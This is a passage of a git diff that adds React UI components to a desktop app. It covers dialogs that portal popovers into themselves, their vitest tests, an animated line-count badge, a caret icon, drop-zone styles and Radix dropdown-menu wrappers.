+// inside that Dialog portals into that node instead of `document.body`. Now the
+// popover is a real DOM descendant of the dialog — focus never leaves, the
+// DismissableLayer sees it as inside, and it shares the dialog's stacking
+// context so z-index is deterministic. Outside a dialog the value is null and
+// popovers fall back to the default body portal.
+export const DialogPortalContainerContext = React.createContext<HTMLElement | null>(null)
+
+// The container a popover should portal into: an explicit `container` prop wins,
+// then the enclosing dialog's content node, then undefined (Radix default:
+// document.body).
+export function usePopoverPortalContainer(explicit?: HTMLElement | null): HTMLElement | undefined {
+  const fromDialog = React.useContext(DialogPortalContainerContext)
+
+  return explicit ?? fromDialog ?? undefined
+}
diff --git a/ui-desktop/src/components/ui/dialog.test.tsx b/ui-desktop/src/components/ui/dialog.test.tsx
new file mode 100644
index 000000000..2ccd279f5
--- /dev/null
+++ b/ui-desktop/src/components/ui/dialog.test.tsx
@@ -0,0 +1,104 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { Dialog, DialogContent, DialogTitle, preventCloseButtonAutoFocus } from './dialog'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from './select'
+
+afterEach(cleanup)
+
+describe('Select portalled inside a Dialog', () => {
+  it('renders the open dropdown inside the dialog DOM subtree, not document.body', () => {
+    // Force the Select open (defaultOpen) to sidestep jsdom's missing
+    // hasPointerCapture on the trigger. The dropdown content must land inside the
+    // dialog content node — that DOM nesting is what keeps focus in the dialog so
+    // dismissing the dropdown no longer closes the dialog.
+    render(
+      <Dialog open>
+        <DialogContent>
+          <DialogTitle>Test dialog</DialogTitle>
+          <Select defaultOpen>
+            <SelectTrigger aria-label="picker">
+              <SelectValue placeholder="pick" />
+            </SelectTrigger>
+            <SelectContent>
+              <SelectItem value="a">Option A</SelectItem>
+            </SelectContent>
+          </Select>
+        </DialogContent>
+      </Dialog>
+    )
+
+    const dialog = screen.getByRole('dialog')
+    const option = screen.getByText('Option A')
+
+    // The dropdown item is a descendant of the dialog, i.e. portalled into it.
+    expect(dialog.contains(option)).toBe(true)
+  })
+})
+
+describe('DialogContent close button', () => {
+  it('closes the dialog when clicked', () => {
+    const onOpenChange = vi.fn()
+    render(
+      <Dialog onOpenChange={onOpenChange} open>
+        <DialogContent>
+          <DialogTitle>Test dialog</DialogTitle>
+        </DialogContent>
+      </Dialog>
+    )
+
+    fireEvent.click(screen.getByRole('button', { name: /close/i }))
+    expect(onOpenChange).toHaveBeenCalledWith(false)
+  })
+
+  it('close button has no tip (X is the label)', () => {
+    render(
+      <Dialog open>
+        <DialogContent onOpenAutoFocus={preventCloseButtonAutoFocus}>
+          <DialogTitle>Test dialog</DialogTitle>
+        </DialogContent>
+      </Dialog>
+    )
+
+    const close = screen.getByRole('button', { name: /close/i })
+    expect(close.closest('[data-slot="tooltip-trigger"]')).toBeNull()
+    expect(screen.queryByRole('tooltip')).toBeNull()
+  })
+
+  it('by default (no onOpenAutoFocus opt-out) does not prevent Radix autofocus', () => {
+    // jsdom doesn't reliably reproduce Radix's real focus-scope timing on an
+    // initially-open dialog, so rather than asserting real DOM focus here we
+    // assert the actual contract dialog.tsx now guarantees: without an
+    // explicit `onOpenAutoFocus`, Radix's own autofocus event is never
+    // prevented, so it's free to land on the first focusable element (a real
+    // input, for dialogs that have one) instead of always being redirected
+    // away from the close button. Manually verified in the running app that
+    // cron/profile/model dialogs correctly autofocus their input.
+    render(
+      <Dialog open>
+        <DialogContent>
+          <DialogTitle>Test dialog</DialogTitle>
+          <input aria-label="Search" />
+        </DialogContent>
+      </Dialog>
+    )
+
+    const event = new Event('focusOutside', { cancelable: true })
+    screen.getByRole('dialog').dispatchEvent(event)
+    expect(event.defaultPrevented).toBe(false)
+  })
+
+  it('opting into preventCloseButtonAutoFocus does prevent the autofocus event', () => {
+    render(
+      <Dialog open>
+        <DialogContent onOpenAutoFocus={preventCloseButtonAutoFocus}>
+          <DialogTitle>Test dialog</DialogTitle>
+        </DialogContent>
+      </Dialog>
+    )
+
+    const event = new Event('focus', { cancelable: true })
+    preventCloseButtonAutoFocus(event)
+    expect(event.defaultPrevented).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/components/ui/dialog.tsx b/ui-desktop/src/components/ui/dialog.tsx
new file mode 100644
index 000000000..0a9414dd6
--- /dev/null
+++ b/ui-desktop/src/components/ui/dialog.tsx
@@ -0,0 +1,277 @@
+import { Dialog as DialogPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { Button } from '@/components/ui/button'
+import { DialogPortalContainerContext } from '@/components/ui/dialog-portal-context'
+import { useI18n } from '@/i18n'
+import { X } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+function Dialog({ ...props }: React.ComponentProps<typeof DialogPrimitive.Root>) {
+  return <DialogPrimitive.Root data-slot="dialog" {...props} />
+}
+
+function DialogTrigger({ ...props }: React.ComponentProps<typeof DialogPrimitive.Trigger>) {
+  return <DialogPrimitive.Trigger data-slot="dialog-trigger" {...props} />
+}
+
+function DialogPortal({ ...props }: React.ComponentProps<typeof DialogPrimitive.Portal>) {
+  return <DialogPrimitive.Portal data-slot="dialog-portal" {...props} />
+}
+
+function DialogClose({ ...props }: React.ComponentProps<typeof DialogPrimitive.Close>) {
+  return <DialogPrimitive.Close data-slot="dialog-close" {...props} />
+}
+
+function DialogOverlay({ className, ...props }: React.ComponentProps<typeof DialogPrimitive.Overlay>) {
+  return (
+    <DialogPrimitive.Overlay
+      className={cn(
+        'fixed inset-0 z-(--z-modal-backdrop) pointer-events-auto bg-black/22 backdrop-blur-[0.125rem] data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:animate-in data-[state=open]:fade-in-0',
+        className
+      )}
+      data-slot="dialog-overlay"
+      {...props}
+    />
+  )
+}
+
+type DialogBannerTone = 'error' | 'warn' | 'info'
+
+// Tinted, edge-to-edge bottom banner per tone. Error/warn keep their semantic
+// destructive/primary tokens; info derives from the dialog's own bubble
+// background so it reads as part of the themed dialog — lifted 30% toward white
+// in light mode, deepened 20% toward black in dark mode.
+const DIALOG_BANNER_TONES: Record<DialogBannerTone, string> = {
+  error: 'bg-destructive/12 text-destructive',
+  warn: 'bg-primary/12 text-primary',
+  info: 'bg-[color-mix(in_srgb,var(--ui-chat-bubble-background),white_30%)] text-[color-mix(in_srgb,var(--ui-chat-bubble-background),black_60%)] dark:bg-[color-mix(in_srgb,var(--ui-chat-bubble-background),black_20%)] dark:text-[color-mix(in_srgb,var(--ui-chat-bubble-background),white_60%)]'
+}
+
+// Radix focuses the first focusable element inside Dialog.Content on open. In
+// most dialogs that's a real input and the default autofocus is exactly what
+// we want, so it's opt-in rather than a shared default here. In dialogs with
+// no input (e.g. the updates overlay's idle/error views), the first focusable
+// element ends up being the close button, and since Tip shows on focus as well
+// as hover, that autofocus makes the "Close" tip appear immediately with no
+// pointer ever near the button. Dialogs like that should pass this in
+// explicitly as `onOpenAutoFocus={preventCloseButtonAutoFocus}`.
+export function preventCloseButtonAutoFocus(event: Event) {
+  event.preventDefault()
+}
+
+function DialogContent({
+  className,
+  bodyClassName,
+  children,
+  showCloseButton = true,
+  fitContent = false,
+  banner,
+  bannerTone = 'error',
+  onOpenAutoFocus,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Content> & {
+  showCloseButton?: boolean
+  // Size the dialog to its content (capped at the viewport) instead of the
+  // default fixed `max-w-lg`. For content that has no intrinsic width (grids,
+  // full-width inputs) pair it with a `min-w-*` in `className`.
+  fitContent?: boolean
+  // Layout and scroll classes for the inner body box: padding, gap, display,
+  // overflow. `className` styles the OUTER shell: position, size, border, and
+  // background. The note on the shell below explains this split.
+  bodyClassName?: string
+  // A dialog-level notice rendered as a banner flush to the bottom edge (tinted,
+  // inherited bottom radius) so it reads as part of the dialog, not a floating
+  // alert. Falsy → no banner. Tone picks the colour.
+  banner?: React.ReactNode
+  bannerTone?: DialogBannerTone
+}) {
+  const { t } = useI18n()
+
+  const widthClass = fitContent ? 'w-auto max-w-[92vw]' : 'w-full max-w-lg'
+
+  // Publish the dialog's content node so popovers (Select / Popover /
+  // DropdownMenu) opened inside it portal INTO the dialog instead of
+  // document.body. That keeps them as DOM descendants — focus never leaves the
+  // dialog, so dismissing a dropdown (or clicking another field) no longer
+  // trips the Dialog's outside-interaction/focus-out close. See
+  // dialog-portal-context.ts. State (not just a ref) so consumers re-render once
+  // the node mounts.
+  const [contentNode, setContentNode] = React.useState<HTMLElement | null>(null)
+
+  // No default here — Radix's normal autofocus (first focusable element, often
+  // an input) is what most dialogs want. Dialogs with no input should pass
+  // `onOpenAutoFocus={preventCloseButtonAutoFocus}` explicitly instead.
+
+  // No tip on the X — the glyph is the label. Keep aria-label / sr-only for a11y.
+  const closeButton = showCloseButton ? (
+    <DialogPrimitive.Close asChild data-slot="dialog-close-button">
+      <Button
+        aria-label={t.common.close}
+        className="absolute right-2.5 top-2.5 z-20 text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground"
+        size="icon-xs"
+        variant="ghost"
+      >
+        <X className="size-4" />
+        <span className="sr-only">{t.common.close}</span>
+      </Button>
+    </DialogPrimitive.Close>
+  ) : null
+
+  // With a banner, the border can't live on the scroll/clip box (it would draw a
+  // line around the banner too). The white body keeps its own bottom radius and
+  // sits over the tinted footer; the outer shell only clips the banner to the
+  // dialog's rounded bottom edge.
+  if (banner) {
+    return (
+      <DialogPortal>
+        <DialogOverlay />
+        <DialogPrimitive.Content
+          className={cn(
+            // The same split as the plain variant. The shell must not clip,
+            // because it crops the popovers that portal into it. The banner
+            // below has its own `overflow-hidden`, which rounds its corners.
+            'fixed left-1/2 top-1/2 z-(--z-modal) pointer-events-auto flex max-h-[85vh] -translate-x-1/2 -translate-y-1/2 flex-col rounded-xl bg-(--ui-chat-bubble-background) text-[length:var(--conversation-text-font-size)] text-foreground shadow-nous duration-200 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:zoom-in-95',
+            widthClass,
+            className,
+            // Callers often pass `gap-*` for the no-banner grid layout — suppress
+            // it here so the banner can tuck under the body's rounded bottom edge.
+            'gap-0'
+          )}
+          data-slot="dialog-content"
+          onOpenAutoFocus={onOpenAutoFocus}
+          ref={setContentNode}
+          {...props}
+        >
+          <DialogPortalContainerContext.Provider value={contentNode}>
+            {/* Scroll lives on an inner box so this shell keeps a painted bottom radius. */}
+            <div className="relative z-10 overflow-hidden rounded-xl border border-b-0 border-(--stroke-nous) bg-(--ui-chat-bubble-background)">
+              <div className={cn('grid max-h-[calc(85vh-5rem)] min-h-0 gap-3 overflow-y-auto p-4', bodyClassName)}>
+                {children}
+              </div>
+            </div>
+            <div
+              className={cn(
+                // Overlap by one corner radius so the white bottom lobes read clearly
+                // over the tint instead of meeting it on a straight seam.
+                'relative z-0 -mt-[var(--radius-xl)] overflow-hidden rounded-b-xl px-4 pb-2.5 pt-[calc(var(--radius-xl)+0.625rem)] text-center text-[length:var(--conversation-tool-font-size)] leading-relaxed shadow-[inset_0_7px_7px_-4px_rgb(0_0_0/0.28)]',
+                DIALOG_BANNER_TONES[bannerTone]
+              )}
+              data-slot="dialog-banner"
+              role={bannerTone === 'error' ? 'alert' : 'status'}
+            >
+              {banner}
+            </div>
+            {closeButton}
+          </DialogPortalContainerContext.Provider>
+        </DialogPrimitive.Content>
+      </DialogPortal>
+    )
+  }
+
+  return (
+    <DialogPortal>
+      <DialogOverlay />
+      <DialogPrimitive.Content
+        className={cn(
+          // The SHELL: position, size, and skin. It has no overflow of its own,
+          // and that is deliberate. It is the portal container for the popovers
+          // that open inside the dialog (see DialogPortalContainerContext), and
+          // a clipping ancestor crops them. The body box below owns the scroll,
+          // so a tall dialog scrolls and a Select or Popover can still paint
+          // past the edge of that box.
+          'fixed left-1/2 top-1/2 z-(--z-modal) pointer-events-auto flex max-h-[85vh] -translate-x-1/2 -translate-y-1/2 flex-col rounded-xl border border-(--stroke-nous) bg-(--ui-chat-bubble-background) text-[length:var(--conversation-text-font-size)] text-foreground shadow-nous duration-200 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:zoom-in-95',
+          widthClass,
+          className
+        )}
+        data-slot="dialog-content"
+        onOpenAutoFocus={onOpenAutoFocus}
+        ref={setContentNode}
+        {...props}
+      >
+        <DialogPortalContainerContext.Provider value={contentNode}>
+          {/* The BODY: layout and scroll. `min-h-0` lets this box shrink inside
+              the max-height of the shell. The overflow then scrolls here
+              instead of pushing the shell past the viewport. */}
+          <div className={cn('grid min-h-0 gap-3 overflow-y-auto rounded-[inherit] p-4', bodyClassName)}>
+            {children}
+          </div>
+          {closeButton}
+        </DialogPortalContainerContext.Provider>
+      </DialogPrimitive.Content>
+    </DialogPortal>
+  )
+}
+
+function DialogHeader({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn('flex flex-col gap-1 text-center sm:text-left', className)}
+      data-slot="dialog-header"
+      {...props}
+    />
+  )
+}
+
+function DialogFooter({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn('flex flex-col-reverse gap-2 sm:flex-row sm:justify-end', className)}
+      data-slot="dialog-footer"
+      {...props}
+    />
+  )
+}
+
+function DialogTitle({
+  className,
+  icon: Icon,
+  children,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Title> & {
+  // Pass an icon (from `@/lib/icons`) to get the canonical dialog-header glyph: a plain
+  // primary-tinted icon inline with the title (no bg chip / ring). This is the
+  // single source of truth for dialog header icons — don't hand-roll wrappers.
+  icon?: React.ComponentType<{ className?: string }>
+}) {
+  return (
+    <DialogPrimitive.Title
+      className={cn(
+        'text-[0.9375rem] font-semibold tracking-tight text-foreground',
+        Icon && 'flex items-center gap-2',
+        className
+      )}
+      data-slot="dialog-title"
+      {...props}
+    >
+      {Icon ? <Icon className="size-4 shrink-0 text-primary" /> : null}
+      {children}
+    </DialogPrimitive.Title>
+  )
+}
+
+function DialogDescription({ className, ...props }: React.ComponentProps<typeof DialogPrimitive.Description>) {
+  return (
+    <DialogPrimitive.Description
+      className={cn(
+        'text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)',
+        className
+      )}
+      data-slot="dialog-description"
+      {...props}
+    />
+  )
+}
+
+export {
+  Dialog,
+  DialogClose,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogOverlay,
+  DialogPortal,
+  DialogTitle,
+  DialogTrigger
+}
diff --git a/ui-desktop/src/components/ui/diff-count.tsx b/ui-desktop/src/components/ui/diff-count.tsx
new file mode 100644
index 000000000..8dc10b72d
--- /dev/null
+++ b/ui-desktop/src/components/ui/diff-count.tsx
@@ -0,0 +1,52 @@
+import { motion, useSpring, useTransform } from 'motion/react'
+import { useEffect } from 'react'
+
+import { cn } from '@/lib/utils'
+
+// Snappy spring — fast transitions per the design.
+const SPRING = { stiffness: 320, damping: 30, mass: 0.5 } as const
+
+// A single integer that springs to its value via Motion (renders the motion
+// value straight to the DOM, no per-frame React re-render). It initialises AT
+// its value, so mounting/navigating shows it instantly — only a real change to
+// the number (a live edit) springs it up/down. Switching threads in the same
+// worktree (same numbers) therefore doesn't animate.
+function AnimatedInt({ value }: { value: number }) {
+  const spring = useSpring(value, SPRING)
+  const text = useTransform(spring, latest => Math.round(latest).toString())
+
+  useEffect(() => {
+    spring.set(value)
+  }, [value, spring])
+
+  return <motion.span>{text}</motion.span>
+}
+
+interface DiffCountProps {
+  added: number
+  removed: number
+  className?: string
+}
+
+/** Animated `+A −B` line-count, green/red via the top-level theme vars. Each
+ *  number springs up/down via Motion (0 → value on first mount). */
+export function DiffCount({ added, removed, className }: DiffCountProps) {
+  if (!added && !removed) {
+    return null
+  }
+
+  return (
+    <span className={cn('flex shrink-0 items-center gap-1 tabular-nums', className)}>
+      {added > 0 && (
+        <span className="text-(--ui-green)">
+          +<AnimatedInt value={added} />
+        </span>
+      )}
+      {removed > 0 && (
+        <span className="text-(--ui-red)">
+          −<AnimatedInt value={removed} />
+        </span>
+      )}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/components/ui/disclosure-caret.tsx b/ui-desktop/src/components/ui/disclosure-caret.tsx
new file mode 100644
index 000000000..24ac1e3ab
--- /dev/null
+++ b/ui-desktop/src/components/ui/disclosure-caret.tsx
@@ -0,0 +1,20 @@
+import { Codicon, type CodiconProps } from '@/components/ui/codicon'
+import { cn } from '@/lib/utils'
+
+interface DisclosureCaretProps extends Omit<CodiconProps, 'name'> {
+  open: boolean
+}
+
+// Chrome caret for collapsible sections: points right when closed (▶),
+// rotates to point down (▼) when open. Override `className` to layer
+// hover/opacity styling; twMerge resolves transition conflicts.
+export function DisclosureCaret({ className, open, size = '0.75rem', ...props }: DisclosureCaretProps) {
+  return (
+    <Codicon
+      className={cn('shrink-0 transition-transform duration-150', open && 'rotate-90', className)}
+      name="chevron-right"
+      size={size}
+      {...props}
+    />
+  )
+}
diff --git a/ui-desktop/src/components/ui/drop-affordance.tsx b/ui-desktop/src/components/ui/drop-affordance.tsx
new file mode 100644
index 000000000..de34aac49
--- /dev/null
+++ b/ui-desktop/src/components/ui/drop-affordance.tsx
@@ -0,0 +1,11 @@
+/**
+ * Shared drag-and-drop visual language — ONE dashed accent sheet, used by every
+ * drop affordance (the composer file/session overlay, the layout zone targets)
+ * so "you can drop here" reads identically everywhere.
+ */
+
+/** The sheet: a dashed region marking where a drop would land. */
+export const DROP_SHEET_CLASS = 'rounded-2xl border-2 border-dashed'
+
+/** Soft blur for the LIVE sheet only — idle outlines must not fog the app. */
+export const DROP_SHEET_BLUR_CLASS = 'backdrop-blur-[2px] [-webkit-backdrop-filter:blur(2px)]'
diff --git a/ui-desktop/src/components/ui/dropdown-menu.tsx b/ui-desktop/src/components/ui/dropdown-menu.tsx
new file mode 100644
index 000000000..57db60fba
--- /dev/null
+++ b/ui-desktop/src/components/ui/dropdown-menu.tsx
@@ -0,0 +1,296 @@
+import { DropdownMenu as DropdownMenuPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { usePopoverPortalContainer } from '@/components/ui/dialog-portal-context'
+import { cn } from '@/lib/utils'
+
+// Shared class tokens for edge-to-edge menus (use with `p-0` content): rows go
+// full-width, square, and compact so the highlight spans the whole surface.
+// Reuse these instead of re-deriving per menu so every searchable/compact menu
+// reads identically.
+export const dropdownMenuRow = 'gap-2 rounded-none px-2.5 py-1 text-xs'
+export const dropdownMenuSectionLabel = 'px-2.5 pt-1 pb-0.5 text-[0.625rem] font-medium uppercase tracking-wide'
+
+// Keys that must reach Radix's menu handler (navigation/close). Everything else
+// is a filter keystroke and is stopped so the menu's typeahead doesn't hijack it.
+const DROPDOWN_NAV_KEYS = new Set(['ArrowDown', 'ArrowUp', 'Enter', 'Escape', 'Tab'])
+
+function DropdownMenu({ ...props }: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
+  return <DropdownMenuPrimitive.Root data-slot="dropdown-menu" {...props} />
+}
+
+function DropdownMenuPortal({ ...props }: React.ComponentProps<typeof DropdownMenuPrimitive.Portal>) {
+  return <DropdownMenuPrimitive.Portal data-slot="dropdown-menu-portal" {...props} />
+}
+
+function DropdownMenuTrigger({ ...props }: React.ComponentProps<typeof DropdownMenuPrimitive.Trigger>) {
+  return <DropdownMenuPrimitive.Trigger data-slot="dropdown-menu-trigger" {...props} />
+}
+
+/**
+ * Borderless filter input for a searchable dropdown. Autofocuses, keeps the
+ * menu's typeahead from eating keystrokes, and still lets arrow/enter/escape
+ * drive the list. Drop it in as the first child of a `DropdownMenuContent`.
+ */
+function DropdownMenuSearch({
+  className,
+  onChange,
+  onKeyDown,
+  onValueChange,
+  ...props
+}: Omit<React.ComponentProps<'input'>, 'type'> & {
+  onValueChange?: (value: string) => void
+}) {
+  return (
+    <div className="px-2.5 py-1.5" data-slot="dropdown-menu-search">
+      <input
+        autoFocus
+        className={cn(
+          'h-4 w-full bg-transparent text-xs leading-none text-foreground placeholder:text-(--ui-text-tertiary) focus:outline-none',
+          className
+        )}
+        onChange={event => {
+          onChange?.(event)
+          onValueChange?.(event.target.value)
+        }}
+        onKeyDown={event => {
+          if (!DROPDOWN_NAV_KEYS.has(event.key)) {
+            event.stopPropagation()
+          }
+
+          onKeyDown?.(event)
+        }}
+        type="text"
+        {...props}
+      />
+    </div>
+  )
+}
+
+function DropdownMenuContent({
+  className,
+  collisionPadding = 8,
+  sideOffset = 4,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Content>) {
+  // Portal into the enclosing dialog when nested in one, so dismissing the menu
+  // doesn't close the dialog; document.body otherwise.
+  const container = usePopoverPortalContainer()
+
+  return (
+    <DropdownMenuPrimitive.Portal container={container}>
+      <DropdownMenuPrimitive.Content
+        // `dt-portal-scrollbar` reproduces the thin themed scrollbar from
+        // `.scrollbar-dt` for portaled overlays (Radix renders this under
+        // document.body, outside #root's scope). See styles.css.
+        className={cn(
+          'dt-portal-scrollbar z-50 max-h-(--radix-dropdown-menu-content-available-height) min-w-36 origin-(--radix-dropdown-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-lg border border-(--ui-stroke-secondary) bg-[color-mix(in_srgb,var(--ui-bg-elevated)_96%,transparent)] p-1 text-[length:var(--conversation-text-font-size)] text-popover-foreground shadow-md backdrop-blur-md data-[side=bottom]:slide-in-from-top-1 data-[side=left]:slide-in-from-right-1 data-[side=right]:slide-in-from-left-1 data-[side=top]:slide-in-from-bottom-1 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:zoom-in-95',
+          className
+        )}
+        // Keep the menu inside the viewport: Radix flips/shifts away from edges
+        // (avoidCollisions defaults on); the padding stops it kissing the edge.
+        collisionPadding={collisionPadding}
+        data-slot="dropdown-menu-content"
+        sideOffset={sideOffset}
+        {...props}
+      />
+    </DropdownMenuPrimitive.Portal>
+  )
+}
+
+function DropdownMenuGroup({ ...props }: React.ComponentProps<typeof DropdownMenuPrimitive.Group>) {
+  return <DropdownMenuPrimitive.Group data-slot="dropdown-menu-group" {...props} />
+}
+
+function DropdownMenuItem({
+  className,
+  inset,
+  variant = 'default',
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Item> & {
+  inset?: boolean
+  variant?: 'default' | 'destructive'
+}) {
+  return (
+    <DropdownMenuPrimitive.Item
+      className={cn(
+        "relative flex items-center gap-2 rounded-md px-2 py-1 text-xs outline-hidden select-none focus:bg-(--ui-control-active-background) focus:text-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-7 data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 data-[variant=destructive]:focus:text-destructive dark:data-[variant=destructive]:focus:bg-destructive/20 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5 [&_svg:not([class*='text-'])]:text-(--ui-text-tertiary) data-[variant=destructive]:*:[svg]:text-destructive!",
+        className
+      )}
+      data-inset={inset}
+      data-slot="dropdown-menu-item"
+      data-variant={variant}
+      {...props}
+    />
+  )
+}
+
+function DropdownMenuCheckboxItem({
+  className,
+  children,
+  checked,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.CheckboxItem>) {
+  return (
+    <DropdownMenuPrimitive.CheckboxItem
+      checked={checked}
+      className={cn(
+        "relative flex items-center gap-2 rounded-md px-2 py-1 text-xs outline-hidden select-none focus:bg-(--ui-control-active-background) focus:text-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5",
+        className
+      )}
+      data-slot="dropdown-menu-checkbox-item"
+      {...props}
+    >
+      {children}
+      <DropdownMenuPrimitive.ItemIndicator className="ml-auto flex items-center pl-2 text-foreground">
+        <Codicon name="check" size="0.75rem" />
+      </DropdownMenuPrimitive.ItemIndicator>
+    </DropdownMenuPrimitive.CheckboxItem>
+  )
+}
+
+function DropdownMenuRadioGroup({ ...props }: React.ComponentProps<typeof DropdownMenuPrimitive.RadioGroup>) {
+  return <DropdownMenuPrimitive.RadioGroup data-slot="dropdown-menu-radio-group" {...props} />
+}
+
+function DropdownMenuRadioItem({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioItem>) {
+  return (
+    <DropdownMenuPrimitive.RadioItem
+      className={cn(
+        "relative flex items-center gap-2 rounded-md px-2 py-1 text-xs outline-hidden select-none focus:bg-(--ui-control-active-background) focus:text-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5",
+        className
+      )}
+      data-slot="dropdown-menu-radio-item"
+      {...props}
+    >
+      {children}
+      <DropdownMenuPrimitive.ItemIndicator className="ml-auto flex items-center pl-2 text-foreground">
+        <Codicon name="check" size="0.75rem" />
+      </DropdownMenuPrimitive.ItemIndicator>
+    </DropdownMenuPrimitive.RadioItem>
+  )
+}
+
+function DropdownMenuLabel({
+  className,
+  inset,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Label> & {
+  inset?: boolean
+}) {
+  return (
+    <DropdownMenuPrimitive.Label
+      className={cn('px-2 py-1 text-xs font-medium text-(--ui-text-tertiary) data-[inset]:pl-7', className)}
+      data-inset={inset}
+      data-slot="dropdown-menu-label"
+      {...props}
+    />
+  )
+}
+
+function DropdownMenuSeparator({ className, ...props }: React.ComponentProps<typeof DropdownMenuPrimitive.Separator>) {
+  return (
+    <DropdownMenuPrimitive.Separator
+      className={cn('-mx-1 my-1 h-px bg-(--ui-stroke-tertiary)', className)}
+      data-slot="dropdown-menu-separator"
+      {...props}
+    />
+  )
+}
+
+function DropdownMenuShortcut({ className, ...props }: React.ComponentProps<'span'>) {
+  return (
+    <span
+      className={cn('ml-auto text-xs tracking-widest text-muted-foreground', className)}
+      data-slot="dropdown-menu-shortcut"
+      {...props}
+    />
+  )
+}
+
+function DropdownMenuSub({ ...props }: React.ComponentProps<typeof DropdownMenuPrimitive.Sub>) {
+  return <DropdownMenuPrimitive.Sub data-slot="dropdown-menu-sub" {...props} />
+}
+
+function DropdownMenuSubTrigger({
+  className,
+  inset,
+  hideChevron = false,
+  children,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.SubTrigger> & {
+  inset?: boolean
+  /** Suppress the trailing caret — for triggers that own their right-side affordance. */
+  hideChevron?: boolean
+}) {
+  return (
+    <DropdownMenuPrimitive.SubTrigger
+      className={cn(
+        "flex cursor-pointer items-center gap-2 rounded-md px-2 py-1 text-xs outline-hidden select-none focus:bg-(--ui-control-active-background) focus:text-foreground data-[inset]:pl-7 data-[state=open]:bg-(--ui-control-active-background) data-[state=open]:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5 [&_svg:not([class*='text-'])]:text-(--ui-text-tertiary)",
+        className
+      )}
+      data-inset={inset}
+      data-slot="dropdown-menu-sub-trigger"
+      {...props}
+    >
+      {children}
+      {!hideChevron && <Codicon className="ml-auto text-(--ui-text-tertiary)" name="chevron-right" size="1rem" />}
+    </DropdownMenuPrimitive.SubTrigger>
+  )
+}
+
+function DropdownMenuSubContent({
+  className,
+  collisionPadding = 8,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.SubContent>) {
+  return (
+    // Portal the submenu out of the parent Content so it escapes that Content's
+    // `overflow` clip. Without this, a submenu opening from a scrollable menu
+    // gets visually cut off at the parent's edges. Radix Popper still anchors
+    // it to the SubTrigger and handles collision/flip, so portaling is safe.
+    <DropdownMenuPrimitive.Portal>
+      <DropdownMenuPrimitive.SubContent
+        // `dt-portal-scrollbar` reproduces the themed scrollbar for portaled
+        // overlays (rendered under document.body). Use a fixed `max-h-80`
+        // rather than the Radix available-height variable: that variable is
+        // only published on Content, NOT SubContent — using it here collapses
+        // the submenu to 0px height.
+        className={cn(
+          'dt-portal-scrollbar z-50 max-h-80 min-w-36 origin-(--radix-dropdown-menu-content-transform-origin) overflow-y-auto rounded-lg border border-(--ui-stroke-secondary) bg-[color-mix(in_srgb,var(--ui-bg-elevated)_96%,transparent)] p-1 text-[length:var(--conversation-text-font-size)] text-popover-foreground shadow-md backdrop-blur-md data-[side=bottom]:slide-in-from-top-1 data-[side=left]:slide-in-from-right-1 data-[side=right]:slide-in-from-left-1 data-[side=top]:slide-in-from-bottom-1 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:zoom-in-95',
+          className
+        )}
+        // Flip to the other side / shift vertically when near a viewport edge
+        // (e.g. the status bar menu opening from the bottom-right corner) so
+        // the submenu never gets clipped.
+        collisionPadding={collisionPadding}
+        data-slot="dropdown-menu-sub-content"
+        {...props}
+      />
+    </DropdownMenuPrimitive.Portal>
+  )
+}
+
+export {
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuGroup,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuPortal,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  DropdownMenuSearch,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger,
+  DropdownMenuTrigger
+}
